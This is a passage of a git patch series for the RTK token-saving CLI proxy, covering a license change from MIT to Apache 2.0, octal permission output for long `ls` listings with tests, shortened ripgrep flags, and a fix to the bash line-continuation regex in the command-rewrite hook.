@@ -195,7 +195,7 @@ Rejoignez la communaute sur [Discord](https://discord.gg/RySmvNF5kF). ## Licence -Licence MIT - voir [LICENSE](LICENSE) pour les details. +Licence Apache 2.0 - voir [LICENSE](LICENSE) pour les details. ## Avertissement diff --git a/README_ja.md b/README_ja.md index 23bf4412ff..ce946d6288 100644 --- a/README_ja.md +++ b/README_ja.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -157,7 +157,7 @@ rtk discover # 見逃した節約機会を発見 ## ライセンス -MIT ライセンス - 詳細は [LICENSE](LICENSE) を参照。 +Apache 2.0 ライセンス - 詳細は [LICENSE](LICENSE) を参照。 ## 免責事項 diff --git a/README_ko.md b/README_ko.md index a07a4590a2..c969e0ed24 100644 --- a/README_ko.md +++ b/README_ko.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -157,7 +157,7 @@ rtk discover # 놓친 절약 기회 발견 ## 라이선스 -MIT 라이선스 - 자세한 내용은 [LICENSE](LICENSE)를 참조하세요. +Apache 2.0 라이선스 - 자세한 내용은 [LICENSE](LICENSE)를 참조하세요. ## 면책 조항 diff --git a/README_zh.md b/README_zh.md index 854ca23140..ef8c53b108 100644 --- a/README_zh.md +++ b/README_zh.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -165,7 +165,7 @@ rtk discover # 发现遗漏的节省机会 ## 许可证 -MIT 许可证 - 详见 [LICENSE](LICENSE)。 +Apache 2.0 许可证 - 详见 [LICENSE](LICENSE)。 ## 免责声明 diff --git a/openclaw/README.md b/openclaw/README.md index 301d7c0fad..480ec856fc 100644 --- a/openclaw/README.md +++ b/openclaw/README.md @@ -83,4 +83,4 @@ Handled by `rtk rewrite` guards: ## License -MIT -- same as RTK. +Apache 2.0 -- same as RTK. diff --git a/openclaw/openclaw.plugin.json b/openclaw/openclaw.plugin.json index 3fce418d79..e08d11ba1c 100644 --- a/openclaw/openclaw.plugin.json +++ b/openclaw/openclaw.plugin.json @@ -4,7 +4,7 @@ "version": "1.0.0", "description": "Transparently rewrites shell commands to their RTK equivalents for 60-90% LLM token savings", "homepage": "https://github.com/rtk-ai/rtk", - "license": "MIT", + "license": "Apache-2.0", "configSchema": { "type": "object", "additionalProperties": false, diff --git a/openclaw/package.json b/openclaw/package.json index 18d359ff44..aa0b099f61 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -3,7 +3,7 @@ "version": "1.0.0", "description": "RTK plugin for OpenClaw — rewrites shell commands for 60-90% LLM token savings", "main": "index.ts", - "license": "MIT", + "license": "Apache-2.0", "repository": { "type": "git", "url": "https://github.com/rtk-ai/rtk", From 6c4dfc727af0423318bf21a66d53474089d25bf4 Mon Sep 17 00:00:00 2001 From: Ryan A <7192401+ryana-0154@users.noreply.github.com> Date: Mon, 25 May 2026 12:46:23 +0100 Subject: [PATCH 12/52] fix(ls): preserve permission info as octal when -l/-la is passed Closes #1672 Co-Authored-By: Claude Opus 4.7 (1M context) --- src/cmds/system/ls.rs | 224 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 185 insertions(+), 39 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index b96f84876f..2c4bc67908 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -24,6 +24,19 @@ pub fn run(args: &[String], verbose: u8) -> Result { .iter() .any(|a| (a.starts_with('-') && !a.starts_with("--") && a.contains('a')) || a == "--all"); + // Per `man ls`, the long listing is triggered by `-l` and also implied by + // `-g`, `-n`, `-o`, and `--full-time`. In any of those cases we preserve + // permission info as octal. + let show_long = args.iter().any(|a| { + if a == "--full-time" { + return true; + } + if a.starts_with('-') && !a.starts_with("--") { + return a.chars().any(|c| matches!(c, 'l' | 'g' | 'n' | 'o')); + } + false + }); + let flags: Vec<&str> = args .iter() .filter(|a| a.starts_with('-')) @@ -74,7 +87,7 @@ pub fn run(args: &[String], verbose: u8) -> Result { "ls", &format!("-la {}", target_display), |raw| { - let (entries, summary, parsed_count) = compact_ls(raw, show_all); + let (entries, summary, parsed_count) = compact_ls(raw, show_all, show_long); // If no lines were parsed (e.g., unrecognized locale), fall back to raw output. // This is safer than returning "(empty)" for a non-empty directory. @@ -124,14 +137,17 @@ fn human_size(bytes: u64) -> String { } } -/// Parse a single `ls -la` line, returning `(file_type_char, size, name)`. +/// Parse a single `ls -la` line, returning `(file_type_char, perms, size, name)`. +/// +/// `perms` is the raw 10-char string from ls (e.g. `-rw-r--r--`); use +/// [`perms_to_octal`] to render it. /// /// Uses the date field as a stable anchor — the date format in `ls -la` is /// always three tokens (`Mon DD HH:MM` or `Mon DD YYYY`), so we locate it /// with a regex, then extract size (rightmost number before the date) and /// filename (everything after the date). This handles owner/group names that /// contain spaces, which break the old fixed-column approach. -fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { +fn parse_ls_line(line: &str) -> Option<(char, String, u64, String)> { // Skip . and .. entries before date parsing (works for non-English locales too) if is_dotdir(line) { return None; @@ -146,7 +162,7 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { return None; } - let perms = before_parts[0]; + let perms = before_parts[0].to_string(); let file_type = perms.chars().next()?; // Size is the rightmost parseable number before the date. @@ -160,7 +176,7 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { } } - Some((file_type, size, name)) + Some((file_type, perms, size, name)) } /// Returns true if the line represents a . or .. directory entry. @@ -173,17 +189,60 @@ fn is_dotdir(line: &str) -> bool { line.trim().ends_with('.') || line.trim().ends_with("..") } -/// Parse ls -la output into compact format: -/// name/ (dirs) -/// name size (files) +/// Convert an `ls`-style permission string (e.g. `-rw-r--r--`, `drwxr-xr-x`, +/// `-rwsr-xr-t`) into octal notation (e.g. `644`, `755`, `4755`). +/// +/// Returns `None` if the input does not look like a permission field. +/// Special bits (setuid/setgid/sticky) are encoded as a leading 4th digit when +/// any are set; otherwise we emit a 3-digit value to stay compact. +fn perms_to_octal(perms: &str) -> Option { + if perms.len() < 10 || !perms.is_ascii() { + return None; + } + let b = perms.as_bytes(); + + fn perm_value(read: bool, write: bool, exec: bool) -> u32 { + ((read as u32) << 2) | ((write as u32) << 1) | (exec as u32) + } + + let owner_x = matches!(b[3], b'x' | b's'); + let group_x = matches!(b[6], b'x' | b's'); + let other_x = matches!(b[9], b'x' | b't'); + + let owner = perm_value(b[1] == b'r', b[2] == b'w', owner_x); + let group = perm_value(b[4] == b'r', b[5] == b'w', group_x); + let other = perm_value(b[7] == b'r', b[8] == b'w', other_x); + + let setuid = matches!(b[3], b's' | b'S'); + let setgid = matches!(b[6], b's' | b'S'); + let sticky = matches!(b[9], b't' | b'T'); + let special = perm_value(setuid, setgid, sticky); + + if special > 0 { + Some(format!("{}{}{}{}", special, owner, group, other)) + } else { + Some(format!("{}{}{}", owner, group, other)) + } +} + +/// Parse ls -la output into compact format. +/// +/// Without `show_long`: +/// name/ (dirs) +/// name size (files) +/// +/// With `show_long` (user passed `-l`): +/// 755 name/ (dirs) +/// 644 name size (files) +/// /// Returns (entries, summary, parsed_count) so caller can suppress summary when piped. /// parsed_count tracks how many non-header lines were successfully parsed. /// If parsed_count == 0 but raw had content, caller should fall back to raw output. -fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { +fn compact_ls(raw: &str, show_all: bool, show_long: bool) -> (String, String, usize) { use std::collections::HashMap; - let mut dirs: Vec = Vec::new(); - let mut files: Vec<(String, String)> = Vec::new(); // (name, size) + let mut dirs: Vec<(String, Option)> = Vec::new(); // (name, octal_perms) + let mut files: Vec<(String, String, Option)> = Vec::new(); // (name, size, octal_perms) let mut by_ext: HashMap = HashMap::new(); let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; @@ -195,7 +254,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { } lines_seen += 1; - let Some((file_type, size, name)) = parse_ls_line(line) else { + let Some((file_type, perms, size, name)) = parse_ls_line(line) else { if is_dotdir(line) { dotdirs += 1; } @@ -208,8 +267,16 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { continue; } + // Only parse perms when the user actually wants the long listing — + // skip the work otherwise. + let octal = if show_long { + perms_to_octal(&perms) + } else { + None + }; + if file_type == 'd' { - dirs.push(name); + dirs.push((name, octal)); } else { // Regular files, symlinks, character/block devices, pipes, sockets let ext = if let Some(pos) = name.rfind('.') { @@ -218,7 +285,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { "no ext".to_string() }; *by_ext.entry(ext).or_insert(0) += 1; - files.push((name, human_size(size))); + files.push((name, human_size(size), octal)); } } @@ -237,13 +304,21 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut entries = String::new(); // Dirs first, compact - for d in &dirs { - entries.push_str(d); + for (name, octal) in &dirs { + if let Some(octal) = octal { + entries.push_str(octal); + entries.push_str(" "); + } + entries.push_str(name); entries.push_str("/\n"); } // Files with size - for (name, size) in &files { + for (name, size, octal) in &files { + if let Some(octal) = octal { + entries.push_str(octal); + entries.push_str(" "); + } entries.push_str(name); entries.push_str(" "); entries.push_str(size); @@ -286,7 +361,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 README.md\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("src/")); assert!(entries.contains("Cargo.toml")); assert!(entries.contains("README.md")); @@ -307,7 +382,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 target\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 main.rs\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(!entries.contains("node_modules")); assert!(!entries.contains(".git")); assert!(!entries.contains("target")); @@ -320,7 +395,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 .git\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n"; - let (entries, _summary, _) = compact_ls(input, true); + let (entries, _summary, _parsed) = compact_ls(input, true, false); assert!(entries.contains(".git/")); assert!(entries.contains("src/")); } @@ -328,7 +403,7 @@ mod tests { #[test] fn test_compact_empty() { let input = "total 0\n"; - let (entries, summary, _) = compact_ls(input, false); + let (entries, summary, _parsed) = compact_ls(input, false, false); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); } @@ -338,7 +413,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user user 4096 1月 1 12:00 .\n\ drwxr-xr-x 16 user user 20480 1月 1 12:00 ..\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); @@ -349,7 +424,7 @@ mod tests { let input = "total 0\n\ drwxr-xr-x 2 lumin wheel 64 Apr 23 00:37 .\n\ drwxr-xr-x 16 root wheel 164576 Apr 23 00:37 ..\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); @@ -362,7 +437,7 @@ mod tests { -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 Cargo.toml\n"; - let (_entries, summary, _) = compact_ls(input, false); + let (_entries, summary, _parsed) = compact_ls(input, false, false); assert!(summary.contains("Summary: 3 files, 1 dirs")); assert!(summary.contains(".rs")); assert!(summary.contains(".toml")); @@ -382,7 +457,7 @@ mod tests { fn test_compact_handles_filenames_with_spaces() { let input = "total 8\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 my file.txt\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("my file.txt")); } @@ -390,7 +465,7 @@ mod tests { fn test_compact_symlinks() { let input = "total 8\n\ lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("link -> target")); } @@ -400,7 +475,7 @@ mod tests { let input = "total 48\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n"; - let (entries, summary, _) = compact_ls(input, false); + let (entries, summary, _parsed) = compact_ls(input, false, false); assert!( !entries.contains("Summary:"), "entries must not contain summary" @@ -419,7 +494,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); let line_count = entries.lines().count(); assert_eq!( line_count, 3, @@ -434,7 +509,7 @@ mod tests { let input = "total 8\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 1234 Mar 31 16:18 data.json\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("empty.txt"), "should contain 'empty.txt', got: {entries}" @@ -462,7 +537,7 @@ mod tests { // Some systems show year instead of time for old files let input = "total 8\n\ -rw-r--r-- 1 user staff 5678 Dec 25 2024 archive.tar\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("archive.tar"), "should contain filename, got: {entries}" @@ -472,38 +547,42 @@ mod tests { #[test] fn test_parse_ls_line_basic() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt").unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 1234); assert_eq!(name, "file.txt"); } #[test] fn test_parse_ls_line_multiline_group() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt") .unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 0); assert_eq!(name, "empty.txt"); } #[test] fn test_parse_ls_line_dir_with_space_in_group() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir") .unwrap(); assert_eq!(ft, 'd'); + assert_eq!(perms, "drwxr-xr-x"); assert_eq!(size, 64); assert_eq!(name, "my dir"); } #[test] fn test_parse_ls_line_symlink() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target").unwrap(); assert_eq!(ft, 'l'); + assert_eq!(perms, "lrwxr-xr-x"); assert_eq!(size, 10); assert_eq!(name, "link -> target"); } @@ -513,7 +592,7 @@ mod tests { // Regression test for #844: `rtk ls /dev/ttyACM*` returned "(empty)" // because character devices (type 'c') were not handled by compact_ls. let input = "crw-rw---- 1 root dialout 166, 0 Apr 22 09:46 /dev/ttyACM0\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/ttyACM0"), "should contain device file, got: {entries}" @@ -525,7 +604,7 @@ mod tests { fn test_compact_device_files_macos_hex_size() { // macOS shows device major/minor as hex (e.g. 0x2000000) let input = "crw-rw-rw- 1 root wheel 0x2000000 Mar 31 19:25 /dev/tty\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/tty"), "should contain device file, got: {entries}" @@ -535,7 +614,7 @@ mod tests { #[test] fn test_compact_block_device() { let input = "brw-rw---- 1 root disk 8, 0 Apr 22 09:46 /dev/sda\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/sda"), "should contain block device, got: {entries}" @@ -549,19 +628,86 @@ mod tests { #[test] fn test_parse_ls_line_year_format() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz").unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 5678); assert_eq!(name, "old.tar.gz"); } + #[test] + fn test_perms_to_octal_common() { + assert_eq!(perms_to_octal("-rw-r--r--").as_deref(), Some("644")); + assert_eq!(perms_to_octal("-rwxr-xr-x").as_deref(), Some("755")); + assert_eq!(perms_to_octal("drwxr-xr-x").as_deref(), Some("755")); + assert_eq!(perms_to_octal("-rw-------").as_deref(), Some("600")); + assert_eq!(perms_to_octal("-rwxrwxrwx").as_deref(), Some("777")); + assert_eq!(perms_to_octal("----------").as_deref(), Some("000")); + assert_eq!(perms_to_octal("lrwxr-xr-x").as_deref(), Some("755")); + } + + #[test] + fn test_perms_to_octal_special_bits() { + // setuid + 755 -> 4755 + assert_eq!(perms_to_octal("-rwsr-xr-x").as_deref(), Some("4755")); + // setuid without execute -> 4644 + assert_eq!(perms_to_octal("-rwSr--r--").as_deref(), Some("4644")); + // setgid + 755 -> 2755 + assert_eq!(perms_to_octal("-rwxr-sr-x").as_deref(), Some("2755")); + // sticky bit on /tmp-style dir -> 1777 + assert_eq!(perms_to_octal("drwxrwxrwt").as_deref(), Some("1777")); + // setuid + setgid + sticky + assert_eq!(perms_to_octal("-rwsrwsrwt").as_deref(), Some("7777")); + } + + #[test] + fn test_perms_to_octal_garbage() { + assert_eq!(perms_to_octal(""), None); + assert_eq!(perms_to_octal("short"), None); + } + + #[test] + fn test_compact_long_format_includes_octal() { + let input = "total 48\n\ + drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ + -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ + -rwxr-xr-x 1 user staff 500 Jan 1 12:00 build.sh\n"; + let (entries, _summary, _parsed) = compact_ls(input, false, true); + assert!( + entries.contains("755 src/"), + "dir should be prefixed with octal perms, got: {entries}" + ); + assert!( + entries.contains("644 Cargo.toml 1.2K"), + "file should be prefixed with octal perms, got: {entries}" + ); + assert!( + entries.contains("755 build.sh 500B"), + "executable should show 755, got: {entries}" + ); + } + + #[test] + fn test_compact_short_format_omits_octal() { + // Without -l, no octal prefix even though we still parse `ls -la` + // under the hood. + let input = "total 48\n\ + -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n"; + let (entries, _summary, _parsed) = compact_ls(input, false, false); + assert!( + !entries.contains("644"), + "short format must not include octal perms, got: {entries}" + ); + assert!(entries.contains("Cargo.toml")); + } + #[test] fn test_compact_chinese_locale_fallback() { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 1月 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 1月 1 12:00 main.rs\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert!(entries.is_empty()); assert!(summary.is_empty()); From 53b5e79561fdf98f09db0b5b2006ec838fcd06f5 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 14:12:16 +0200 Subject: [PATCH 13/52] feat: prefer short args and cleanup comments --- src/cmds/system/grep_cmd.rs | 27 ++++++++------------------- 1 file changed, 8 insertions(+), 19 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index dbd61364a4..3f7d9a3276 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -33,19 +33,10 @@ pub fn run( // Without this, rg returns 0 matches for files in .gitignore, causing // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - // - // -H: force rg to always include the filename, even for single-file searches. - // --null: separate file from line:content with a NUL byte so the parser is - // unambiguous even when the filename or content contains `:digits:` - // patterns (issue #1436). - rg_cmd.args([ - "-nH", - "--no-heading", - "--null", - "--no-ignore-vcs", - &rg_pattern, - path, - ]); + // -H: always emit the filename. + // -0: NUL-separate filename. Allows the parser to disambiguate filenames or + // content containing `:digits:` patterns (issue #1436). + rg_cmd.args(["-nH0", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -62,9 +53,7 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - // -H: always emit the filename; -Z: NUL-separate filename from - // line:content so the parser can disambiguate even for filenames - // or content containing `:digits:` (parity with rg's --null). + // When we fall back to grep, include all args, not just -rnHZ. grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) @@ -173,9 +162,9 @@ pub fn run( /// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Requires the underlying command to be invoked with `--null` (rg) or `-Z` -/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot -/// appear in file paths, so the parser is unambiguous regardless of: +/// Requires the underlying command to be invoked with `-0` (rg) or `-Z` (grep) +/// so the filename is NUL-separated from `line:content`. NUL cannot appear in +/// file paths, so the parser is unambiguous regardless of: /// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); /// - paths with embedded `:` (Windows drive letters, weird filenames like /// `badly_named:52:file.txt`). From 8fcc0dc56c0bbcdf0508bbf72897085348884fd5 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 14:55:32 +0200 Subject: [PATCH 14/52] fix: handle GNU `--format=long` and `--format=verbose` long args --- src/cmds/system/ls.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 2c4bc67908..98eb364479 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -25,10 +25,10 @@ pub fn run(args: &[String], verbose: u8) -> Result { .any(|a| (a.starts_with('-') && !a.starts_with("--") && a.contains('a')) || a == "--all"); // Per `man ls`, the long listing is triggered by `-l` and also implied by - // `-g`, `-n`, `-o`, and `--full-time`. In any of those cases we preserve - // permission info as octal. + // `-g`, `-n`, `-o`, `--full-time` or GNU `--format=long` and `--format=verbose`. + // In any of those cases we preserve permission info as octal. let show_long = args.iter().any(|a| { - if a == "--full-time" { + if a == "--full-time" || a == "--format=long" || a == "--format=verbose" { return true; } if a.starts_with('-') && !a.starts_with("--") { From 42ac86ce2f5bedb011f84532c2112cd5093500ab Mon Sep 17 00:00:00 2001 From: Sai Asish Y Date: Sun, 24 May 2026 19:14:56 -0700 Subject: [PATCH 15/52] fix(hook): use maintainer regex suggestion for line continuation Signed-off-by: Sai Asish Y --- src/discover/registry.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index ecccc1d6f2..46f28f2342 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -450,7 +450,7 @@ lazy_static! { /// trailing whitespace prevents double spaces in cases like /// `git diff \HEAD~1`. static ref LINE_CONTINUATION_RE: Regex = - Regex::new(r"[ \t]*\\(?:\r\n|\n)[ \t]*").unwrap(); + Regex::new(r"(?m)[ \t\x0B\x0C]*\\\r?\n[ \t\x0B\x0C]*").unwrap(); } /// Replace every bash line continuation with a single space, mirroring From 0ec99de8f4ef102c10a827b57636278080e2f3cf Mon Sep 17 00:00:00 2001 From: Sai Asish Y Date: Mon, 25 May 2026 06:16:18 -0700 Subject: [PATCH 16/52] fix(tests): use rewrite_command_no_prefixes in line-continuation tests Signed-off-by: Sai Asish Y --- src/discover/registry.rs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index 46f28f2342..df1d500475 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -3919,7 +3919,7 @@ mod tests { // The exact reproduction from #1564: a leading `\` made // the matcher see `\` as the command and bail out. assert_eq!( - rewrite_command("\\\ngit diff HEAD~1", &[]), + rewrite_command_no_prefixes("\\\ngit diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3928,7 +3928,7 @@ mod tests { fn test_rewrite_leading_backslash_crlf() { // CRLF line ending — same shape, Windows shells / Git Bash. assert_eq!( - rewrite_command("\\\r\ngit diff HEAD~1", &[]), + rewrite_command_no_prefixes("\\\r\ngit diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3939,7 +3939,7 @@ mod tests { // `git diff \HEAD~1` is exactly equivalent to // `git diff HEAD~1` per bash semantics. assert_eq!( - rewrite_command("git diff \\\nHEAD~1", &[]), + rewrite_command_no_prefixes("git diff \\\nHEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3948,7 +3948,7 @@ mod tests { fn test_rewrite_backslash_newline_with_indent() { // Continuation followed by indentation — also collapsed. assert_eq!( - rewrite_command("git \\\n diff HEAD~1", &[]), + rewrite_command_no_prefixes("git \\\n diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3959,7 +3959,7 @@ mod tests { // unchanged. This pins that the normalization step does not // regress the no-op fast path. assert_eq!( - rewrite_command("git diff HEAD~1", &[]), + rewrite_command_no_prefixes("git diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } From 3c356b32416be0815bee9e4364c20c4efa15d829 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 15:21:27 +0200 Subject: [PATCH 17/52] fix: remove remaining noise and rework comments --- src/discover/registry.rs | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index df1d500475..4fd7168282 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -441,22 +441,20 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { } lazy_static! { - /// Matches a bash line-continuation: a backslash immediately - /// followed by `\n` or `\r\n`, *plus* any horizontal whitespace on - /// the line before AND after the break. This is what bash already - /// collapses to a single space before executing the command — rtk's - /// hook matcher needs to do the same so commands authored across - /// multiple lines still hit the rewrite rules. Consuming the - /// trailing whitespace prevents double spaces in cases like + /// Matches a bash line-continuation: a backslash immediately followed by + /// `\n` or `\r\n`, *plus* any horizontal whitespace on the line before AND + /// after the break. This is what bash already collapses to a single space + /// before executing the command — rtk's hook matcher needs to do the same + /// so commands authored across multiple lines still hit the rewrite rules. + /// Consuming the trailing whitespace prevents double spaces in cases like /// `git diff \HEAD~1`. static ref LINE_CONTINUATION_RE: Regex = Regex::new(r"(?m)[ \t\x0B\x0C]*\\\r?\n[ \t\x0B\x0C]*").unwrap(); } -/// Replace every bash line continuation with a single space, mirroring -/// what bash does before dispatching the command. Returns a borrowed -/// `&str` when the input contains no continuations, so the common -/// fast path allocates nothing. +/// Replace every bash line continuation with a single space, mirroring what +/// bash does before dispatching the command. Returns a borrowed `&str` when the +/// input contains no continuations, so the common fast path allocates nothing. fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { LINE_CONTINUATION_RE.replace_all(s, " ") } @@ -470,7 +468,7 @@ fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { /// (`[hooks].transparent_prefixes` in `config.toml`) before routing. /// /// A transparent prefix is a wrapper command that doesn't change *what* is -/// being run, only *how* it's run --- e.g. `docker exec mycontainer`, +/// being run, only *how* it's run — e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The /// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, @@ -485,11 +483,10 @@ pub fn rewrite_command( excluded: &[String], transparent_prefixes: &[String], ) -> Option { - // Bash line continuations (`\`, `\`) and the leading - // whitespace that follows are syntactically equivalent to a single - // space, but `cmd.trim()` does not unwrap them --- so a leading - // backslash-newline used to defeat the whole matcher. Normalize - // first, then trim. See issue #1564. + // Bash line continuations (`\`, `\`) and the leading whitespace that + // follows are syntactically equivalent to a single space, but `cmd.trim()` does + // not unwrap them so a leading backslash-newline used to defeat the whole matcher. + // Normalize first, then trim. See issue #1564. let normalized = collapse_line_continuations(cmd); let trimmed = normalized.trim(); if trimmed.is_empty() { From e132896d3f3b588813f59790a5c2f7d35e40cb78 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Mon, 25 May 2026 21:42:07 +0200 Subject: [PATCH 18/52] fix(cicd): MIT to Apache 2.0 --- .github/workflows/release.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 06cb022df3..d18a3b357f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -291,7 +291,7 @@ jobs: desc "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" homepage "https://www.rtk-ai.app" version 